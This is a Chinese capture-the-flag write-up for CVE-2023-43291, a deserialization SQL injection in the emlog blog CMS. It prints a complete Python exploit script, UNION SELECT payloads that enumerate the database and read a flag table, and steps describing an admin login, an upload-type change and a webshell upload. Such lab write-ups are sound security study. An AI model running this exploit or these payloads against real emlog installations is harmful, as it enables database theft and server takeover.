【春秋云镜】CVE-2023-43291 emlog SQL注入

靶场介绍

emlog是一款轻量级博客及CMS建站系统,在emlog pro v.2.1.15及更早版本中的不受信任数据反序列化允许远程攻击者通过cache.php组件执行SQL语句。

不感兴趣的可以直接拉到最后面,直接获取flag

备注:没有通过sql注入获取到flag,但是通过其他方法获得了,如果有大佬通过sql注入获取flag请告诉我。

开启靶场

搜索POC,该POC是执行user()函数

python 复制代码
import requests
import sys
import time
requests.packages.urllib3.disable_warnings()

url = "http://eci-2ze5lrqt8xe7n32hn1rm.cloudeci1.ichunqiu.com"
session = requests.session()
proxy = {
    "http": "127.0.0.1:8080",     "https": "127.0.0.1:8080"
}

# Step1 注册一个账户并登录,获取token
def step1():
    url_register = "/admin/account.php?action=dosignup"
    data_register = {
        "mail":"9a6d0oL@test.com",
        "passwd":"password",
        "repasswd": "password"
    }
    session.post(url+url_register, data=data_register, verify=False, allow_redirects=False, proxies=proxy)

    url_login = "/admin/account.php?action=dosignin&s="
    data_login = {
        "user": "9a6d0oL@test.com",
        "pw": "password"
    }
    res = session.post(url+url_login, data=data_login, verify=False, allow_redirects=False, proxies=proxy)
    if res.status_code != 302 or res.headers.get("Location") != "./":
        print("登录错误")
        exit()

    url_token = "/admin/article.php"
    res = session.get(url+url_token, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:   # 因为该cms会随机进行重新的身份认证,详见include/service/user.php:106
        res = session.get(url+url_token, verify=False, allow_redirects=False, proxies=proxy)
    global token
    try:
        token = res.text.split('id="token" value="')[1].split('"')[0].strip()
    except:
        token = ""
    
# Step2 新建两篇文章,设置两篇文章的alias,写入payload
def step2():
    url_article = "/admin/article_save.php?action=autosave"
    data_article = {
        "logcontent": time.time(), 
        "logexcerpt": '', 
        "title": time.time(), 
        "cover": '', 
        "alias": time.time(), 
        "sort": "-1", 
        "postdate": "2022-10-16 00:01:34", 
        "date": '', 
        "tag": '', 
        "top": "n", 
        "sortop": "n", 
        "allow_remark": "y", 
        "password": '', 
        "token": token, 
        "ishide": "y", 
        "as_logid": "-1"
    }

    # 新建第一篇文章
    res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:
        res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    try:
        id_1 = res.text.split(":")[1].split("_")[0]
    except:
        print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")
        exit()
    # 新建第二篇文章
    data_article["logcontent"] = time.time()
    data_article["title"] = time.time()
    data_article["alias"] = time.time()
    res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:
        res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    try:
        id_2 = int(res.text.split(":")[1].split("_")[0])
    except:
        print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")
        exit()

    # 更改第二篇文章的alias
    # payload = '''";s:87:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','',''#";s:1:"Y'''
    payload = '''";s:93:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#";s:1:"Y'''
    data_article["as_logid"] = id_2
    print (id_2)
    if id_2 < 10:
        data_article["alias"] = payload
    if id_2 >= 10:
        data_article["alias"] = payload[1:]
    if id_2 >= 100:
        # data_article["alias"] = ''';s:81:"0 union select 1,user(),1,'','','','',1,-1,'blog',1,1,0,'','','','y','','','',''#";s:1:"Y'''
        data_article["alias"] = ''';s:87:"0 union select 1,user(),1,'','','','',1,-1,'blog',1,1,0,'','','','y','','','','','',''#";s:1:"Y'''
    res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:
        res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)

    # 更改第一篇文章的alias
    data_article["as_logid"] = id_1
    data_article["alias"] = "<?php exit;//"
    res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:
        res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)

# Step3 访问触发反序列化以及sql注入
def step3():
    headers = {
        "X-Rewrite-Url": "/Y",
    }
    res = session.get(url, headers=headers, verify=False, allow_redirects=False, proxies=proxy)
    if res.status_code == 200:
        print(res.text.split("<title>")[1].split("</title>")[0])
    else:
        raise  Exception

if __name__ == "__main__":
    try:
        step3()
    except:
        step1()
        step2()
        step3()

将脚本挂上代理,

step1() //注册用户

step2() //写入payload

step3() //执行脚本

操作步骤

打开burp 挂上代理

注册包全部放通,只保留这个数据包 step2()

保留第二个数据包 step3()

执行SQL语句

通过脚本可以获取到执行的命令

寻找flag位置

将URL编码转换后,可以发现他的语句是这样的:

0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#

然后我们替换user()即可。

0 union select 1,concat(0x7e,(SELECT CONCAT(TABLE_SCHEMA,'-',TABLE_NAME, '-',COLUMN_NAME) FROM information_schema.COLUMNS WHERE COLUMN_NAME = 'flag' LIMIT 0,1),0x7e),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#

然后数一下前面有你总共输入了多少个字符,例如上面一共是235个字符

存在flag

靶场有3处存在flag列 将limit处修改为 limit 2.1

得知存在flllllaaaag表,并且在emlog数据库中,然后编写payload

0 union select 1,concat(0x7e,(select CONCAT(id, '-',flag) from flllllaaaag),0x7e),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#

结果提示

Illegal mix of collations for operation 'UNION'

获取flag 有点生气,然后气了一下

登录admin 密码 admin123

这里可以下载数据库备份

查看文件的最后

总结

我太菜了,不知道sql报错怎么解决,有大佬看到这里希望可以研究一下,有成果联系我,感谢感谢。

如果对你有用,请不要取关哦,感谢感谢。

获取shell

在看sql文件时发现这里可以修改运行上传的文件类型:

在页面修改时,修改为php会自动修改为X,这里上传SQL备份后不会改变。

直接上传webshell

获取shell

查看配置文件为

不活心,可能是不存在flag。

相关推荐
程序员清风4 小时前
数据处理脚本工程化:日志、配置、命令行与测试
服务器·开发语言·数据库
正在走向自律5 小时前
数据集成产品的技术底座:从日志解析原理到 KFS 同步链路搭建(含建表与增删改查完整代码)
数据库·oracle·信创·数据集成·国产数据库·kingbasees·全量+增量同步
程序员塔塔喵5 小时前
【MySQL篇|第七篇】MySQL事务
数据库·mysql·mysql事务
独隅6 小时前
Claude API 实战教程:从入门到完整项目
android·java·数据库·claude·claude code
_孤傲_6 小时前
快速掌握 MySQL 语法
数据库·后端·mysql
数字新视界8 小时前
一体化机柜在数据中心运维中的创新应用与优势分析
大数据·服务器·数据库·动环监控系统·动力与环境监控系统
SelectDB8 小时前
从 StarRocks 走向 Apache Doris:如何实现引擎平滑替换与架构升级?
大数据·数据库·数据分析
为思念酝酿的痛8 小时前
MySQL的操作
数据库·mysql
猫咪很可爱8 小时前
Oracle ORA-4031 错误分析与处理:SGA 内存不足导致 update/exp/expdp 失败
数据库·oracle
小豆庄9 小时前
视频素材处理时的隐私盲区:云处理与本地处理的边界在哪
数据库·图像处理·视频·敏捷流程